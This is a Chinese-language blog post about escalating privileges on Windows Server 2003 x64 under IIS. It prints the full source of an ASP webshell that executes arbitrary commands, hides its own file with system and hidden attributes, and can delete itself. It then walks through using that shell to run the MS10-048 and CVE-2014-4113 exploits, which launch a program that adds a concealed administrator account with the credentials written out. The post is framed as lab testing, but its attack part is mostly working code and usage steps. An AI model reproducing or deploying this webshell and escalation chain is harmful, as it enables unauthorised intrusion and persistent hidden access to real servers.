首发,未授权请勿转载.
0x00 前言
在CVE-2014-4113出来后,x64环境下的提权又是一片短暂的光明.在此漏洞披露前,PR/IIS溢出/LPK劫持等对64位版本都无效果,网上公开曾有一个Exp有效,代号为MS10048x64.
本文谨记录x64下可提权的Exp与测试过程.暂不考虑依赖第三方服务(如MSSQL/MYSQL)等的提权
测试环境:
Windows Server 2003 Enterprise x64 Edition - VL
IIS 6.0
0x01 手写一个AspExec先
在测试提权Exp之前,假使我们已获得一个一句话后门.
虚拟终端看到权限不足,默默的传一个cmd.exe,设置好变量后可以正常执行命令了,甩上最新的CVE-2014-4113的exp先
机智的发现没有任何反应,这在ms10048上也有所体现.64位exp提权与32位提权有所区别,32位下存在虚拟终端无参数提权的exp,即使传参,也是通过以下方式执行:
c:\cmd.exe /c c:\exp.exe parms
但是x64下的几个exp则需要这样执行:
c:\exp.exe c:\recycler\server.exe
手传大马可执行Exp,但强迫症的还是喜欢自己动手丰衣足食(亦可以称做重复造轮子XD),kyo327曾在《浅谈在webshell下执行命令》中有所提及,先奉上部分代码窥知一二:
<object runat=server id=shell scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
<%if err then%>
<object runat=server id=shell scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
<% end if %>
<%
'exec command
Dim path,parms,method,result
path=Trim(Request("path"))
parms=Trim(Request("parms"))
method=Trim(Request("submit"))
result=""
If path="" Then path="C:\WINDOWS\system32\cmd.exe"
If parms="" Then parms="/c "
If method="wscript.shell" Then
result=shell.exec(path&" "&parms).stdout.readall
Elseif method="shell.application" Then
set newshell=createobject("shell.application")
newshell.ShellExecute path,parms,"","open",0
result="Shell.application Execute OK."
Elseif method="self.delete" Then
file.attributes = 0
fso.deletefile(file_name)
set fso = nothing
End If
%>
以上为借助Wscript.shell与Shell.application两种方式执行命令,为加强一点隐蔽性,加入几行保护代码(只读,系统,隐藏):
<%
'hidded shell
dim file_name
file_name = Server.MapPath("./") & Replace(Request.ServerVariables("Script_Name"),"/","\")
set fso = createobject("scripting.filesystemobject")
set file = fso.getfile(file_name)
file.attributes = 1+2+4
%>
最后实现效果如下:
隐藏属性:
左上角显示支持组件,右侧path填写执行程序路径(如上传的cmd或exp),parms填写参数(cmd执行需/c参数,exp不需要)
三个Button分别表示:以script.shell执行命令/以Shell.application执行命令/脚本自删除
简单的一个示例:
以上代码在此处开源:
0x02 MS10048提权
MS10048的exploit分32与64两版本,漏洞存在于xxxCreateWindowEx()函数创建窗口时的本地权限提升.
64位环境下可以用以执行木马后门或提权,首先拿来K8Team的一个无参数添加用户,通过API添加用户,在删除或禁用net1.exe时亦可直接添加:
用户名k8team$,密码k8team!@#
借助AspExec,可以很方便的提权,上传exp(ms10048.exe)与添加用户程序(user.exe)
Path: c:\inetpub\wwwroot\ms10048.exe
Parms: c:\inetpub\wwwroot\user.exe
注意不需要/c参数,使用wscript.shell或shell.applicatin依具体环境设置而定,以默认(wscript.shell)为例,执行后短暂的延迟:
查看目标主机用户,添加成功
至于user.exe替换成别的后门也都类似的.ms10048影响x64版本主要是Windows2003,对于新版系统还是测试CVE-2014-4113吧
0x03 CVE-2014-4113提权
相较于MS10048,新的exp效果要好很多,Exp同样分32/64两个版本,同样使用user.exe添加账户测试:
Path: c:\inetpub\wwwroot\64.exe
Parms: c:\inetpub\wwwroot\user.exe
上传64.exe(exp)执行后回显如下:
基本没有明显延迟,很顺利的添加账号
0x04 小结
以上整理仅为对实际环境模拟测试,顺便写份代码分享;)
如有错误或不足,还望指点.若有新的Exploit出现,笔者也会及时补充测试.
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论